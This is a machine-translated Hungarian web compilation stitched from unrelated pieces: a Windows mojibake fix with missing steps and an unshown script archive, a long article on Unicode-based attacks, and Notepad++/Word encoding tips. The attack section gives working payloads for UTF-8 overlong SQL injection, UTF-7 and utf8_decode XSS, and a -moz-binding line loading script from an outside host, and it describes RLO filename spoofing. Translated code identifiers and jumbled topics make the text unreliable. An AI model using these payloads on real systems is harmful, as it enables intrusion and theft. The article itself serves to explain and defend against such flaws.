Fájl megnyitásakor hieroglifák, mit kell tenni. Fájlok helyett "hieroglifák" (érthetetlen karakterek) a flash meghajtón

Krakozyabry Mi az érdekes szó? Ezt a szót az orosz felhasználók általában a programokban vagy magára az operációs rendszerre vonatkozó karakterek helytelen / helytelen megjelenítésére (kódolására) használják.
Miért történik ez? Nem fogsz egyetlen választ találni. Ez lehet a "kedvenc" vírusaink trükkjei miatt, lehet a Windows operációs rendszer meghibásodása miatt (például áramszünet és a számítógép kikapcsolása), esetleg a program konfliktust okozott egy másikkal vagy operációs rendszerrel és minden "repült". Általánosságban elmondható, hogy sok oka lehet, és a legérdekesebb az "Egyszerűen elvette, és így eltört".
Elolvastuk a cikket, és megtudjuk, hogyan lehet megoldani a kódolási problémát a programokban és a Windows operációs rendszerben, mivel ez megtörtént.

Azok számára, akik még mindig nem értik, mire gondolok, íme néhány:

Egyébként én is kerültem egyszer ebbe a helyzetbe és még mindig van egy fájl az Asztalon, ami segített megbirkózni vele. Ezért úgy döntöttem, hogy megírom ezt a cikket.

Számos "dolog" felelős a kódolás (betűtípus) megjelenítéséért a Windowsban - ezek a nyelv, a rendszerleíró adatbázis és magának az operációs rendszernek a fájljai. Most külön és pontról pontra ellenőrizzük őket.

Hogyan lehet eltávolítani és javítani a krakozyabry-t az orosz (orosz betűk) helyett egy programban vagy a Windowsban.

1. Ellenőrizzük a telepített nyelvet olyan programok esetében, amelyek nem támogatják a Unicode-ot. Talán eltévedt benned.

Tehát menjünk végig a következő úton: Vezérlőpult - Területi és nyelvi beállítások - Speciális lap
Ott keressük az orosz nyelvet.

Windows XP-ben ezen kívül alul van egy lista "Kódlapok a konverziós táblákról" és van benne egy 20880-as sor. Szükséges, hogy legyen orosz is

6. Az utolsó pont, amelyben adok egy fájlt, ami segített egyszer mindent megjavítani, és ezért hagytam emlékül. Íme az archívum:

Két fájl van benne: krakozbroff.cmd és krakozbroff.reg

Elvük ugyanaz - a hieroglifák, négyzetek, kérdések ill felkiáltójelek programokban és Windows operációs rendszerben (általános krakozyabry). Én az elsőt használtam és nekem bevált.

És végül egy-két tipp:
1) Ha a rendszerleíró adatbázissal dolgozik, ne felejtsen el biztonsági másolatot készíteni ( biztonsági mentés), ha valami elromlik.
2) Minden tétel után célszerű az 1. tételt ellenőrizni.

Ez minden. Most már tudja, hogyan kell kijavítani a Krakozyabry eltávolítását / javítását (négyzetek, hieroglifák, felkiáltójelek és kérdőjelek) egy programban vagy Windows rendszerben.

Gondolom nem egyszer találkoztál Unicode-ba sorolt exploitokkal, kerested a megfelelő kódolást az oldal megjelenítéséhez, örültél a következő krakozyabrynak itt-ott. Igen, soha nem tudhatod, mi más! Ha tudni akarja, ki indította el ezt a zűrzavart, és csinálja a mai napig, kapcsolja be a biztonsági övet, és olvasson tovább.

Ahogy mondani szokták, "a kezdeményezés büntetendő", és mint mindig, mindenért az amerikaiak voltak a hibásak.

És olyan volt. A számítástechnikai ipar virágkorának és az internet terjedésének hajnalán szükség volt egy univerzális karakterábrázolási rendszerre. És a múlt század 60-as éveiben megjelent az ASCII - "Amerikai szabványos információcsere kód" (amerikai szabványos információcsere kód), egy ismerős 7 bites karakterkódolás. Az utolsó nyolcadik nem használt bit vezérlőbitként maradt meg az ASCII-tábla testreszabásához, hogy az megfeleljen az egyes számítógép-felhasználók igényeinek egy adott régióban. Egy ilyen bit lehetővé tette az ASCII tábla kiterjesztését, hogy minden nyelvhez saját karaktereket használjon. Számítógépeket sok országba szállítottak, ahol már saját, módosított asztalt használtak. Később azonban ez a funkció fejfájást okozott, mivel a számítógépek közötti adatcsere meglehetősen problémássá vált. Az új 8 bites kódlapok nem voltak kompatibilisek egymással – ugyanaz a kód több különböző karaktert is jelenthet. A probléma megoldására az ISO („Nemzetközi Szabványügyi Szervezet”, Nemzetközi Szabványügyi Szervezet) új táblázatot javasolt, nevezetesen az „ISO 8859”-et.

Később ezt a szabványt átnevezték UCS-re ("Universal Character Set", Universal Character Set). Az UCS első kiadásakor azonban megérkezett az Unicode. De mivel mindkét szabvány céljai és célkitűzései egybeestek, úgy döntöttek, hogy egyesítik erőiket. Nos, az Unicode magára vállalta azt az ijesztő feladatot, hogy minden karaktert egyedi megjelöléssel adjon. Tovább Ebben a pillanatban a Unicode legújabb verziója az 5.2.

Figyelmeztetni akarlak – valójában a kódolásokkal kapcsolatos történet nagyon sáros. A különböző források különböző tényeket közölnek, ezért ne ragadjon le egy dologban, csak legyen tisztában azzal, hogyan alakult minden, és kövesse a modern szabványokat. Remélem, nem vagyunk történészek.

Gyorstanfolyam unicode

Mielőtt belemerülnék a témába, szeretném tisztázni, hogy miben van az Unicode szakkifejezések. Gólok ezt a szabványt már tudjuk, már csak az anyagok befoltozása van hátra.

Tehát mi az a Unicode? Egyszerűen fogalmazva, ez egy módja annak, hogy bármilyen karaktert egy adott kód formájában ábrázoljunk a világ összes nyelvére. legújabb verzió A szabvány körülbelül 1 100 000 kódot tartalmaz, amelyek U+0000-től U+10FFFF-ig foglalják el a helyet. De itt légy óvatos! A Unicode szigorúan meghatározza, hogy mi az a karakterkód, és hogyan jelenik meg a kód a memóriában. A karakterkódoknak (mondjuk 0041 az "A" karakternél) nincs jelentésük, de van logika, hogy ezeket a kódokat bájtként ábrázoljuk, a kódolások ezt teszik. A Unicode Konzorcium a következő típusú kódolásokat kínálja, ezek az úgynevezett UTF (Unicode Transformation Formats). És itt vannak:

UTF-7: Ez a kódolás biztonsági és kompatibilitási okokból nem ajánlott. Az RFC 2152-ben van leírva. Nem része a Unicode-nak, de ez a konzorcium vezette be.
UTF-8: A leggyakoribb kódolás az interneten. Ez egy változó, 1-4 bájt széles. Visszafelé kompatibilis az ASCII-t használó protokollokkal és programokkal. Az U+0000 – U+007F tartományt foglalja el.
UTF-16: 2 és 4 bájt közötti változó szélességet használ. A legáltalánosabb használat a 2 bájt. Az UCS-2 ugyanaz a kódolás, csak rögzített 2 bájt szélességgel és BMP-korlátokra korlátozva.
UTF-32: 4 bájtos, azaz 32 bites rögzített szélességet használ. Azonban csak 21 bitet használnak, a maradék 11-et nullákkal töltik ki. Bár ez a kódolás nehézkes a hely szempontjából, a modern számítógépek 32 bites címzése miatt a sebesség szempontjából a leghatékonyabbnak tartják.

Az UTF-32 legközelebbi megfelelője az UCS-4 kódolás, de ma már ritkábban használják.

Annak ellenére, hogy az UTF-8 és az UTF-32 valamivel több mint kétmilliárd karaktert képviselhet, úgy döntöttek, hogy egy millióra és egy farokra korlátozzák - az UTF-16-tal való kompatibilitás érdekében. A teljes kódtér 17 síkba van csoportosítva, mindegyik 65536 szimbólummal. A leggyakrabban használt szimbólumok a nulla alapsíkban találhatók. BMP - Basic MultiPlane néven szerepel.
Az UTF-16 és UTF-32 kódolású adatfolyamok kétféleképpen ábrázolhatók - kis endian és kis endian, UTF-16LE/UTF-32LE, UTF16BE/UTF-32BE néven. Ahogy sejtette, az LE kis-, a BE pedig nagy-végi. De valahogy különbséget kell tudni tenni e rendek között. Ehhez használja az U + FEFF bájtsorrend jelet, az angol változatban - BOM, "Byte Order Mask". Ez az anyagjegyzék UTF-8-ban is megjelenhet, de ott nem jelent semmit.

A visszafelé kompatibilitás érdekében a Unicode-nak a meglévő kódolásokból származó karaktereket kellett befogadnia. De itt egy másik probléma is felmerül - az azonos karaktereknek számos változata létezik, amelyeket valahogyan fel kell dolgozni. Ezért szükség van az úgynevezett „normalizálásra”, amely után már lehet két karakterláncot összehasonlítani. A normalizálásnak összesen 4 formája van:

Normalizációs forma D (NFD): kanonikus dekompozíció.
Normalizációs forma C (NFC): kanonikus dekompozíció + kanonikus összetétel.
Normalizációs forma KD (NFKD): kompatibilis bomlás.
Normalizációs forma KC (NFKC): kompatibilis bomlás + kanonikus összetétel.

Most többet ezekről a furcsa szavakról.

A Unicode kétféle karakterlánc-egyenlőséget határoz meg: a kanonikus és a kompatibilitási egyenlőséget.

Az első egy összetett szimbólum több különálló figurára bontását jelenti, amelyek összességében az eredeti szimbólumot alkotják. A második egyenlőség a legközelebbi egyező karaktert keresi. A kompozíció pedig különböző részekből származó szimbólumok kombinációja, a dekompozíció pedig az ellenkező cselekvés. Általában nézze meg a képet, minden a helyére kerül.

Biztonsági okokból a normalizálást el kell végezni, mielőtt a karakterláncot bármilyen szűrő ellenőrzésre elküldi. A művelet után a szöveg mérete megváltozhat, aminek negatív következményei lehetnek, de erről később.

Elméletileg ennyi, még nem mondtam sokat, de remélem nem hagytam ki semmi fontosat. Az Unicode elképzelhetetlenül hatalmas, bonyolult, vastag könyvek jelennek meg róla, és nagyon nehéz sűríteni, érthetően és teljes mértékben elmagyarázni egy ilyen nehézkes szabvány alapjait. Mindenesetre a mélyebb megértés érdekében végig kell mennie az oldalsó linkeken. Tehát, ha többé-kevésbé tisztává vált a kép az Unicode-dal, akkor továbbléphetünk.

vizuális megtévesztés

Biztosan hallott már az IP/ARP/DNS hamisításról, és van egy jó ötlete arról, hogy mi az. De létezik az úgynevezett „vizuális hamisítás” is – ez ugyanaz a régi módszer, amelyet az adathalászok aktívan használnak az áldozatok megtévesztésére. Ilyen esetekben hasonló betűk, például „o” és „0”, „5” és „s” használatosak. Ez a leggyakoribb és legegyszerűbb lehetőség, és könnyebben észrevehető. Példa erre a 2000-es PayPal adathalász támadás, amelyet még a www.unicode.org oldalakon is említenek. Ennek azonban kevés jelentősége van Unicode témánk szempontjából.

A fejlettebb srácok számára megjelent a láthatáron az Unicode, vagy inkább az IDN, ami az "Internationalized Domain Names" (Internationalized Domain Names) rövidítése. Az IDN lehetővé teszi a nemzeti ábécé karaktereinek használatát a tartománynevekben. A domain név regisztrátorok kényelmes dologként helyezik el, azt mondják, tárcsázzanak Domain név a saját nyelveden! Ez a kényelem azonban erősen megkérdőjelezhető. Nos, oké, a marketing nem a mi témánk. De képzeld el, milyen hely ez az adathalászok, keresőoptimalizálók, cybersquatterek és más gonosz szellemek számára. Egy IDN-hamisításnak nevezett effektusról beszélek. Ezt a támadást a vizuális hamisítás kategóriájába tartozik, az angol szakirodalomban "homograph attack"-nak is nevezik, vagyis homográfokat (a helyesírásban megegyező szavakat) használó támadások.

Igen, a betűk beírásakor senki nem hibázik, és nem ír be szándékosan hamis domaint. De legtöbbször a felhasználók a hivatkozásokra kattintanak. Ha meg akar győződni a támadás hatékonyságáról és egyszerűségéről, akkor nézze meg a képet.

Az IDNA2003-at egyfajta csodaszernek találták ki, de már idén, 2010-ben életbe lépett az IDNA2008. Az új protokollnak meg kellett volna oldania a fiatal IDNA2003 számos problémáját, de új lehetőségeket vezetett be a hamisító támadásokra. Ismét felmerülnek a kompatibilitási problémák – bizonyos esetekben ugyanaz a cím a különböző böngészőkben különböző szerverekhez vezethet. A helyzet az, hogy a Punycode különböző módon konvertálható különböző böngészők- minden attól függ, hogy milyen szabványos specifikációkat támogatnak.
A vizuális megtévesztés problémája ezzel nem ér véget. A Unicode a spammerek szolgálatába is érkezik. Spamszűrőkről beszélünk – a spamküldők az eredeti betűket egy Unicode obfuszkátoron keresztül futtatják, amely a különböző nemzeti ábécékből származó hasonló karaktereket keresi az úgynevezett UC-Simlist (“Unicode-hasonlósági lista”, hasonló Unicode karakterek listája) segítségével. És ez az! A levélszemétszűrő meghibásodik, és már nem tud valami értelmeset felismerni egy ilyen karakterzavarban, de a felhasználó képes elolvasni a szöveget. Nem tagadom, hogy sikerült megoldást találni egy ilyen problémára, azonban a spammerek állnak az élen. Nos, és még valami ugyanabból a támadássorozatból. Biztos, hogy megnyitod a szöveges fájl, és nem binárissal van dolgod?

Az ábrán, amint látja, van egy evilexe nevű fájlunk. txt. De hamis! A fájl neve valójában eviltxt.exe. Azt kérdezed, mi ez a zárójelben lévő szemét? És ez, U + 202E vagy JOBBRA-BALRA FELÜLÍTÉS, az úgynevezett Bidi (a kétirányú szóból) egy Unicode-algoritmus olyan nyelvek támogatására, mint az arab, a héber és mások. Az utóbbi végül is jobbról balra írva. Az RLO Unicode karakter beszúrása után mindent, ami az RLO után következik, fordított sorrendben fogunk látni. Mint például ez a módszer tól től való élet Hamisítási támadást hozhatok a Mozilla Firfoxban - cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3376 .

Szűrő megkerülése – 1. lépés

Ma már ismert, hogy az UTF-8 nem legrövidebb űrlapokat nem lehet feldolgozni, mivel ez potenciális biztonsági rést jelent. A PHP-fejlesztőket azonban nem lehet ezzel indokolni. Lássuk, mi ez a hiba. Talán emlékszel a rossz szűrésre és az utf8_decode()-ra. Itt részletesebben megvizsgáljuk ezt az esetet. Tehát van ez a PHP kódunk:

// ... 1. lépés
$id = mysql_real_escape_string($_GET["id"]);
// ... 2. lépés
$id = utf8_decode($id);
// ... 3. lépés
mysql_query("SELECT "name" FROM "deadbeef"
WHERE "id"="$id"");

Első pillantásra itt minden rendben van. Valahogy, de nem egészen – itt van egy SQL injekció. Képzeljük el, hogy átadtuk a következő karakterláncot:

/index.php?id=%c0%a7 VAGY 1=1/*

Az első lépésben a sor nem tartalmaz semmit, ami bajt jelezhet. De a második lépés kulcsfontosságú, a karakterlánc első két karaktere aposztrófává alakul. Nos, a harmadikon már suhogsz az adatbázisban power and main. Tehát mi történt a második lépésben, miért változtak meg hirtelen a szimbólumok? Próbáljuk meg kitalálni, olvassa el figyelmesen.

Ha a %c0 és %a7 értékeket bináris értékükre konvertálja, 11000000 és 10100111 értéket kap. Az aposztróf bináris értéke 00100111. Most nézze meg az UTF-8 kódolási táblázatot.

A bevezető nullák és egyesek jelzik a karakter hosszát és a bájtok tulajdonjogát. Eddig egy bájtba fért az aposztrófunk, de szeretnénk kettőre növelni (legalább, de több is lehetséges), vagyis olyan formát ölteni, mint a második sorban.

Ezután egy ilyen első oktettet kell venni, hogy az első három bit 110 legyen, ami azt mondja a dekódernek, hogy a karakterlánc szélesebb, mint 1 bájt. A második nyolcassal pedig nem nehezebb – az első két nullát 1-re és 0-ra cseréljük. Voila! 11000000 10100111-et kaptunk, ami %c0%a7.

Talán nem minden lépésnél találkozunk ezzel a sérülékenységgel, de nem szabad elfelejteni, hogy ha a függvények ebben a sorrendben helyezkednek el, akkor sem az addslashes(), sem a mysql_real_escape_string(), sem a magic_quotes_qpc nem segít. És így nem csak aposztrófokat rejthet el, hanem sok más karaktert is. Főleg, hogy nem csak a PHP kezeli hibásan az UTF-8 karakterláncokat. A fenti tényezőket figyelembe véve a támadási tartomány jelentősen bővül.

Szűrő bypass – 2. szakasz

Ennek a típusnak a sebezhetősége egy mérgező karakterlánc teljesen legális álcázásában rejlik, más kódolás leple alatt. Nézd meg a következő kódot:

/**
* UTF-7 XSS PoC
*/
header("Tartalom típusa: text/html;
karakterkészlet=UTF-7");
$str = "";
$str = mb_convert_encoding($str,
"UTF-7");
echo htmlentities($str);

Valójában itt a következő történik - az első sor egy fejlécet küld a böngészőnek azzal az üzenettel, hogy milyen kódolásra van szükségünk. A következő pár egyszerűen átalakítja a karakterláncot erre:

ADw-script+AD4-alert("UTF-7 XSS")+ADsAPA-/script+AD4

Az utolsó - valami szűrő. A szűrő lehet bonyolultabb is, de a legtöbb primitív esetre elegendő, ha sikeres bejárást mutatunk be. Ebből az következik, hogy ne engedje meg a felhasználónak a kódolások szabályozását, mert még az ilyen kód is potenciális sebezhetőséget jelent.

Ha kétségei vannak, akkor dobjon egy hibát, és hagyja abba a munkát, és a problémák elkerülése érdekében helyes az adatok kimenetét UTF-8 kódolásra kényszeríteni. A gyakorlatból jól ismert egy Google elleni támadás esete, amikor egy hackernek sikerült XSS-támadást végrehajtania úgy, hogy manuálisan megváltoztatta a kódolást UTF-7-re.

A Google elleni támadás eredeti forrása ezzel a módszerrel a sla.ckers.org/forum/read.php?3,3109.

Szűrő megkerülése – 3. lépés

A Unicode figyelmeztet: A szimbólumok túlzott használata rontja a biztonságot. Beszéljünk egy olyan hatásról, mint az „evési szimbólumok”. A sikeres támadás oka lehet egy nem megfelelően működő dekóder: ilyen például a PHP. A szabvány azt írja, hogy ha az átalakítás során bal oldali karakterrel (rosszul formált) találkozunk, akkor a megkérdőjelezhető karaktereket célszerű kérdőjelekkel, szóközt U+FFFD-vel, leállítani az elemzést stb., de a következő karaktereket nem törölni. . Ha mégis törölnie kell egy karaktert, akkor azt óvatosan kell megtennie.

A hiba az, hogy a PHP rossz UTF-8 karaktert rág meg a következővel együtt. Ez pedig már a szűrő megkerüléséhez vezethet a JavaScript-kód utólagos végrehajtásával, vagy SQL-befecskendezéshez.

A sebezhetőségről szóló eredeti üzenetben, Eduardo Vela, azaz sirdarckcat hacker blogján van egy nagyon jó példa, és megfontoljuk, csak módosítsunk egy kicsit. A forgatókönyv szerint a felhasználó képeket szúrhat be a profiljába, a következő kód található:

// ... sok kód, szűrés ...
$név = $_GET["név"];
$link = $_GET["link"];
$image = " src="http://$link" />";
echo utf8_decode($kép);
És most a következő kérést küldjük:
/?name=xxx%f6&link=%20
src=javascript:onerror=alert(/
xss/)//

Az összes átalakítás után a PHP ezt adja vissza nekünk:

Mi történt? A $name változó érvénytelen UTF-8 0xF6 karaktert kapott, amely az utf8_decode(-ra konvertálás után) megevett 2 következő karaktert, beleértve a záró idézetet is. A http:// csonkot a böngésző figyelmen kívül hagyta, és a következő JavaScript-kódot sikeresen végrehajtotta. Ezt a támadást az Operában teszteltem, de semmi sem akadályoz abban, hogy univerzálissá tegyük, ez csak egy jó példa arra, hogyan lehet bizonyos esetekben megkerülni a védelmet.

Ebből a támadássorozatból, de a PHP-függvények furcsa viselkedése nélkül, hozhatunk még egy példát a szűrők megkerülésére. Képzeljük el, hogy a WAF/IPS nem ad át sorokat a feketelistáról, de a sorok néhány utólagos feldolgozása a dekóder által eltávolítja az ASCII-tartománytól idegen karaktereket. Ezután a következő kód szabadon belép a dekóderbe:

figyelmeztetés\uFEFFt("XSS")

És már \uFEFF nélkül is ott lesz, ahol a támadó látni szeretné. Ezt a problémát egyszerűen megoldhatja, ha végiggondolja a karakterlánc-feldolgozás logikáját - mint mindig, a szűrőnek a feldolgozás utolsó szakaszában lévő adatokkal kell működnie. Egyébként ha emlékszel, akkor a \uFEFF a BOM, amiről már írtam. A FireFoxot érintette ez a biztonsági rés - mozilla.org/security/announce/2008/mfsa2008-43.html

Szűrő bypass – 4. szakasz

Azt mondhatjuk, hogy a támadás típusa, amelyről most szó lesz, a vizuális hamisítás, mindenféle IDS / IPS, WAF és egyéb szűrők elleni támadás. Az úgynevezett "bestfit mapping" Unicode algoritmusról beszélek. Ezt a „best fit” módszert azokra az esetekre találták ki, amikor egy adott karakter hiányzik az egyik kódolásról a másikra konvertáláskor, de valamit be kell szúrni. Ekkor keresnek egyet, amely vizuálisan hasonlíthat a kívánthoz.

Ezt az algoritmust találja ki a Unicode, de ez csak egy újabb ideiglenes megoldás, amely a végtelenségig él. Minden a Unicode-ra való áttérés mértékétől és sebességétől függ. Maga a szabvány azt tanácsolja, hogy a legjobban illeszkedő leképezéshez csak végső esetben folyamodjunk. A transzformáció viselkedését nem lehet szigorúan szabályozni és általánosságban semmilyen módon nem lehet, hiszen túl sok különböző hasonlósági variáció létezik még egy karakter esetében is - minden a karaktertől, a kódolásoktól függ.

Tegyük fel, hogy a végtelen szimbólum nyolcassá alakítható. Hasonlóan néznek ki, de teljesen más a céljuk. Vagy egy másik példa - az U + 2032 karaktert idézetté alakítjuk. Szerintem érted, mit jelent.

Chris Weber információbiztonsági szakértő kísérletezett ezzel a témával – hogyan állnak a közösségi hálózatok a szűrőkkel és a legjobban illeszkedő megjelenítési algoritmussal? Weboldalán egy példát ír le egy közösségi hálózat jó, de nem elég szűrésére. A profilba fel lehetett tölteni a stílusokat, amelyeket gondosan ellenőriztünk.

A fejlesztők ügyeltek arra, hogy ne hagyják ki ezt a sort: ?moz?binding: url(http://nottrusted.com/gotcha.xml#xss)
Chris azonban képes volt megkerülni ezt a védelmet azzal, hogy a legelső karaktert mínuszra cserélte, amelynek kódja U+2212. Miután a legmegfelelőbb algoritmus működött, a mínusz helyére egy U+002D kódú előjel került, amely jel lehetővé tette a CSS stílus működését, ezáltal lehetőséget nyitott egy aktív XSS-támadásra. Minden varázslatot érdemes kerülni, de sok van belőle. Az utolsó pillanatig lehetetlen megjósolni, hogy ennek az algoritmusnak az alkalmazása mihez vezet. A legjobb esetben előfordulhat karaktervesztés, legrosszabb esetben JavaScript kód végrehajtása, tetszőleges fájlokhoz való hozzáférés, SQL injekció.

Puffer túlcsordulás

Ahogy már írtam, óvatosnak kell lenni a normalizálással a húr rendellenes összehúzódása és tágulása miatt. A második következmény gyakran puffer túlcsorduláshoz vezet. A programozók helytelenül hasonlítják össze a karakterláncok hosszát, megfeledkezve a Unicode-szolgáltatásokról. Alapvetően a következő tények figyelmen kívül hagyása vagy félreértése hibához vezet:

A karakterláncok kitágulhatnak a kis- és nagybetűk váltásakor - felsőről alsóra vagy fordítva.
Az NFC normalizálási űrlap nem mindig "kollektív", egyes karakterek értelmezhetők.
Amikor karaktereket konvertál egyikből a másikba, a szöveg visszanőhet. Azaz, hogy a karakterlánc mennyivel bővül, az magától az adattól és a kódolástól függ.

Elvileg, ha tudod, mi az a puffer túlcsordulás, akkor minden olyan, mint mindig. Majdnem:). Egyszerűen, ha Unicode karakterláncokról beszélünk, akkor a karakterek leggyakrabban nullákkal vannak kitöltve. A példa kedvéért adok három sort.

Normál vonal:

ASCII kódolásban:

Unicode kódolásban:

\x41\x00\x42\x00\x43\x00

Nem lesznek nullbájtok, ahol a forrás karakterláncok kívül esnek az ASCII karakterláncok tartományán, mivel a teljes tartományt elfoglalják. Mint tudják, a null byte akadályozza a shellkód sikeres működését. Ezért tartották sokáig azt, hogy az Unicode támadások lehetetlenek. Ezt a mítoszt azonban Chris Anley megsemmisítette, ő találta ki az úgynevezett "velencei módszert", amely lehetővé teszi a nullbyte-ok helyettesítését más karakterekkel. De ez a téma megérdemelne egy külön cikket, és van már jó pár publikáció - elég a google-ba "venetian exploit". A Hacker magazin különszámának 45. cikkét is átnézheti - "Unicode-Buffer Overflows", van egy jó írás a Unicode shellkód írásáról.

Egyéb örömök

Igen, ezzel még nem ért véget a Unicode-hoz kapcsolódó sebezhetőség, csak azokat írtam le, amelyek a fő, jól ismert besorolások alá tartoznak. Vannak más biztonsági problémák is, a bosszantó hibáktól a valódi jogsértésekig. Ezek lehetnek vizuális jellegű támadások, például ha a regisztrációs rendszer hibásan dolgozza fel a felhasználó bejelentkezését, akkor az áldozat nevétől vizuálisan megkülönböztethetetlen karakterekből lehet fiókot létrehozni, ezzel elősegítve az adathalász vagy social engineering támadásokat. És talán még rosszabb - az engedélyezési rendszer (nem tévesztendő össze a hitelesítéssel) emelt szintű jogosultságokkal ad jogokat, anélkül, hogy különbséget tenne a támadó és az áldozat bejelentkezésében szereplő karakterkészlet között.

Ha lemegy az alkalmazások vagy operációs rendszerek szintjére, akkor a hibák a konverzióhoz kapcsolódó helytelenül felépített algoritmusokban nyilvánulnak meg - rossz normalizálás, túl hosszú UTF-8, karakterek törlése és elfogyasztása, helytelen karakterkonverzió stb. Mindez a támadások legszélesebb köréhez vezet – az XSS-től a távoli kódvégrehajtásig.

Általánosságban elmondható, hogy a fantázia szempontjából az Unicode semmilyen módon nem korlátoz, hanem éppen ellenkezőleg, csak támogat. A fenti támadások közül sokat gyakran kombinálnak, kombinálva a szűrő megkerülését egy adott célpont elleni támadással. Úgymond ötvözni az üzletet az örömmel. Sőt, a szabvány nem áll meg, és ki tudja, mire vezetnek az új bővítmények, hiszen voltak, amelyeket később biztonsági problémák miatt teljesen kizártak.

boldog vég?!

Tehát, ahogy el tudja képzelni, a Unicode-problémák továbbra is az első számú probléma, és mindenféle támadás oka. És a gonosznak csak egy gyökere van: a szabvány félreértése vagy figyelmen kívül hagyása. Persze ezzel még a leghíresebb árusok is vétkeznek, de ez nem lazíthat. Éppen ellenkezőleg, érdemes elgondolkodni a probléma mértékén. Már sikerült meggyőződnie arról, hogy a Unicode meglehetősen alattomos, és fogásra számíthat, ha feladja, és nem néz bele időben a szabványba. Mellesleg, a szabványt rendszeresen frissítik, ezért nem szabad az ősi könyvekre vagy cikkekre hagyatkoznia - az elavult információ rosszabb, mint a hiánya. De remélem, hogy ez a cikk nem hagyott közömbösen a probléma iránt.

Punycode – a kompatibilitás váza

A DNS nem engedélyezi a latin karaktereken, számokon és kötőjeleken kívül más karakterek használatát a tartománynevekben; a DNS esetében „csonka” ASCII-táblázatot használnak.

Ezért a visszafelé kompatibilitás érdekében egy ilyen többnyelvű Unicode tartományt át kell alakítani a régi formátumra. Ezt a feladatot a felhasználó böngészője veszi át. Az átalakítások után a tartomány karakterkészletté alakul, amelynek előtagja "xn--" vagy más néven "Punycode". Például a „hacker.ru” domain Punycode-ba konvertálása után így néz ki: „xn--80akozv.ru”. További információ a Punycode-ról az RFC 3492-ben.

info

IDNA – Az IDN az alkalmazásokban (IDN in Applications) egy protokoll, amely számos problémát megold azáltal, hogy lehetővé teszi többnyelvű tartománynevek használatát az alkalmazásokban. Az IETF találta ki, jelenleg csak az IDNA2003 régi verziójából - RFC 3490 - RFC létezik. Az új szabvány nem kompatibilis az előzővel.

Linkek

Az unicode.org a Unicode Consortium hivatalos webhelye. A fájó témára vonatkozó összes válasz itt található.
macchiato.com/main – sok hasznos online eszköz a Unicode-dal való munkához.
fiddler2.com/fiddler2 – Fiddler, egy hatékony, bővíthető HTTP-proxy.
websecuritytool.codeplex.com – Fiddler beépülő modul a HTTP forgalom passzív elemzéséhez.
lookout.net – Chris Weber Unicode-, web- és szoftverauditálási webhelye.
sirdarckcat.blogspot.com/2009/10/couple-of-unicodeissueson-php-and.html - sirdarckat blogbejegyzés a PHP-ről és a Unicode-ról.
googleblog.blogspot.com/2010/01/unicode-nearing-50of-web.html – A Google blogbejegyzése a Unicode-használat általános növekedési trendjéről.

Valószínűleg minden PC-felhasználó találkozott már hasonló problémával: megnyit egy weboldalt vagy egy Microsoft Word dokumentumot – és szöveg helyett hieroglifákat lát (különféle „kryakozabrák”, ismeretlen betűk, számok stb. (mint a bal oldali képen). ...)).

Nos, ha ez a dokumentum (hieroglifákkal) nem különösebben fontos Önnek, de ha el kell olvasnia?! Elég gyakran fordulnak hozzám hasonló kérdések és segítségkérések az ilyen szövegek felfedezéséhez. Ebben a rövid cikkben szeretném megvizsgálni a hieroglifák megjelenésének legnépszerűbb okait (természetesen, és kiküszöbölni őket).

Hieroglifák szöveges fájlokban (.txt)

A legnépszerűbb kérdés. Az tény, hogy egy szöveges fájl (általában txt formátumban, de ezek is formátumok: php, css, info stb.) különféle kódolásokban menthetők.

Kódolás- ez egy olyan karakterkészlet, amely szükséges a szöveg bizonyos ábécé szerinti írásának teljes biztosításához (beleértve a számokat és a speciális karaktereket). További részletek erről itt: https://ru.wikipedia.org/wiki/CharacterSet

Leggyakrabban egy dolog történik: a dokumentumot egyszerűen rossz kódolással nyitják meg, ami zavart okoz, és egyes karakterek kódja helyett másokat hívnak meg. Különféle furcsa szimbólumok jelennek meg a képernyőn (lásd 1. ábra)...

Rizs. 1. Jegyzettömb - kódolási probléma

Hogyan kezeljük?

Véleményem szerint a legjobb megoldás egy fejlett jegyzettömb telepítése, mint például a Notepad++ vagy a Bred 3. Nézzük meg mindegyiket közelebbről.

Jegyzettömb++

Hivatalos oldal: https://notepad-plus-plus.org/

Az egyik legjobb notebook kezdőknek és profiknak egyaránt. Előnyök: ingyenes program, támogatja az orosz nyelvet, nagyon gyorsan működik, kódkiemelés, az összes elterjedt fájlformátum megnyitása, számos lehetőség lehetővé teszi, hogy személyre szabja.

A kódolásokat tekintve itt általában teljes a sorrend: van egy külön "Kódolások" rész (lásd 2. ábra). Csak próbálja meg megváltoztatni az ANSI-t UTF-8-ra (például).

A kódolás megváltoztatása után a szöveges dokumentumom normál és olvasható lett - a hieroglifák eltűntek (lásd 3. ábra)!

Hivatalos oldal: http://www.astonshell.ru/freeware/bred3/

Egy másik nagyszerű program, amelyet a Windows szabványos jegyzettömbjének teljes helyettesítésére terveztek. Ezenkívül "könnyen" működik számos kódolással, könnyen módosíthatja azokat, számos fájlformátumot támogat, támogatja az új Windows operációs rendszert (8, 10).

A Bred 3 egyébként sokat segít az MS DOS formátumban mentett "régi" fájlokkal való munka során. Ha más programok csak hieroglifákat jelenítenek meg, a Bred 3 könnyedén megnyitja azokat, és lehetővé teszi, hogy nyugodtan dolgozhasson velük (lásd: 4. ábra).

Ha szöveg helyett hieroglifák a Microsoft Wordben

Az első dolog, amire figyelni kell, az a fájlformátum. A helyzet az, hogy a Word 2007-től kezdve új formátum jelent meg - "docx" (korábban csak "doc" volt). Általában az új fájlformátumok nem nyithatók meg a "régi" Wordben, de néha előfordul, hogy ezek az "új" fájlok a régi programban nyílnak meg.

Csak nyissa meg a fájl tulajdonságait, majd nézze meg a "Részletek" lapot (mint az 5. ábrán). Így megtudhatja a fájlformátumot (5. ábrán - a fájl formátuma "txt").

Ha a fájl formátuma docx – és régi Word-je van (2007 alatti verzió), akkor csak frissítse a Word-t 2007-re vagy újabbra (2010, 2013, 2016).

Továbbá, amikor megnyit egy fájlt, figyeljen (alapértelmezés szerint ez az opció mindig engedélyezve van, kivéve, ha természetesen "nem értem, melyik összeállítás") - A Word ismét megkérdezi: milyen kódolással nyissa meg a fájlt ( ez az üzenet akkor jelenik meg, ha a fájl megnyitásakor felmerülő problémákra utaló "hivatkozás" van, lásd: 5. ábra).

Rizs. 6. Word - fájl konvertálás

Leggyakrabban a Word automatikusan meghatározza a szükséges kódolást, de a szöveg nem mindig olvasható. A csúszkát a kívánt kódolásra kell állítania, amikor a szöveg olvashatóvá válik. Néha szó szerint ki kell találnia, hogy a fájl hova lett mentve, hogy elolvashassa.

